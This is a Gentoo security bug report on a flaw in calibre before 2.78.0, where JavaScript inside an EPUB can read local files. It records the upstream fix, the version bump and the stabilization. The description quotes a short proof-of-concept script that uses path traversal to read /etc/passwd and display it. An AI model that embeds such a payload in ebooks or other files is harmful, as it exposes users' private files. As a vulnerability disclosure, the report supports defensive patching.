Bug 607836 – <app-text/calibre-2.78.0: javascript in books can access files on the computer using XMLHttpRequest

• Status: RESOLVED FIXED
• Product: Gentoo Security

[Description Thomas Deutschmann (RETIRED) 2017-01-31 18:05:51 UTC]

From $URL:

Calibre can access the local files using javascript in epub file.

Code snippet:
> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script>
> <script>
>     $.getScript( "../../../../../../../../etc/passwd", function( data, textStatus, jqxhr ) {
>         document.write('<h1>Your data</h1><pre>' + data + '</pre>');
>     });
> </script>

Attacker can steal any victim file and send to server.

[Comment 1 Thomas Deutschmann (RETIRED) 2017-01-31 18:12:00 UTC]

Upstream patch:

https://github.com/kovidgoyal/calibre/commit/3a89718664cb8cce0449d1758eee585ed0d0433c


@ Maintainer(s): Please bump to >=app-text/calibre-2.75.0.

[Comment 2 Zac Medico 2017-02-08 07:13:23 UTC]

Version bumped to 2.78.0:

https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=f6ec1239d27b0f7610e4f258ae699a61323b9464

[Comment 3 Thomas Deutschmann (RETIRED) 2017-02-13 01:35:18 UTC]

@ Maintainer(s): Can we already start stabilizing of =app-text/calibre-2.78.0?

[Comment 4 Zac Medico 2017-02-14 19:45:47 UTC]

Yes, please stabilize it.

[Comment 5 Thomas Deutschmann (RETIRED) 2017-02-14 20:53:20 UTC]

@ Arches,

please test and mark stable: =app-text/calibre-2.78.0

[Comment 6 Agostino Sarubbo 2017-02-15 11:53:19 UTC]

amd64 stable

[Comment 7 Agostino Sarubbo 2017-02-15 15:56:25 UTC]

x86 stable.

Maintainer(s), please cleanup.
Security, please vote.

[Comment 8 Zac Medico 2017-02-15 16:58:19 UTC]

Removed all older versions:

https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=eec6496565ecc351a686da8eacdfc04400baa98a

[Comment 9 Thomas Deutschmann (RETIRED) 2017-02-16 12:39:49 UTC]

GLSA Vote: No

Repository is clean, all done!